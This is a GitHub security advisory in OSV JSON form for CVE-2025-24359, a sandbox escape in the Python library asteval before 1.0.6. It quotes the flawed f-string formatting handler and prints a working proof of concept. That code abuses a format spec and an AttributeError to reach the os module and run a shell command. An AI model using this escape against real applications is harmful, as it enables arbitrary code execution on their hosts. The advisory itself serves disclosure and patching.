CVE-2025-24359: Asteval ASTEVAL Allows Maliciously Crafted Format Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3wwr-3g9f-9gc7",
  "modified" : "2025-01-25T00:54:49Z",
  "published" : "2025-01-24T18:45:30Z",
  "aliases" : [ "CVE-2025-24359" ],
  "summary" : "ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape",
  "details" : "### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')\n        \"formatting used in f-strings\"\n        val = self.run(node.value)\n        fstring_converters = {115: str, 114: repr, 97: ascii}\n        if node.conversion in fstring_converters:\n            val = fstring_converters[node.conversion](val)\n        fmt = '{__fstring__}'\n        if node.format_spec is not None:\n            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'\n        return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n#     ga\n    \ndef pwn():\n    try:\n        f\"{dict.mro()[1]:'\\\\x7B__fstring__.__getattribute__.s\\\\x7D'}\"\n    except Exception as ga:\n        ga = ga.obj\n        sub = ga(dict.mro()[1],\"__subclasses__\")()\n        importer = None\n        for i in sub:\n            if \"BuiltinImporter\" in str(i):\n                importer = i.load_module\n                break\n        os = importer(\"os\")\n        os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n        \npwn()\n\"\"\"\naeval(code)\n\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "asteval"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-24359"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lmfit/asteval"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507"
  }, {
    "type" : "WEB",
    "url" : "https://lucumr.pocoo.org/2016/12/29/careful-with-str-format"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-134", "CWE-749" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-24T18:45:30Z",
    "nvd_published_at" : "2025-01-24T17:15:16Z"
  }
}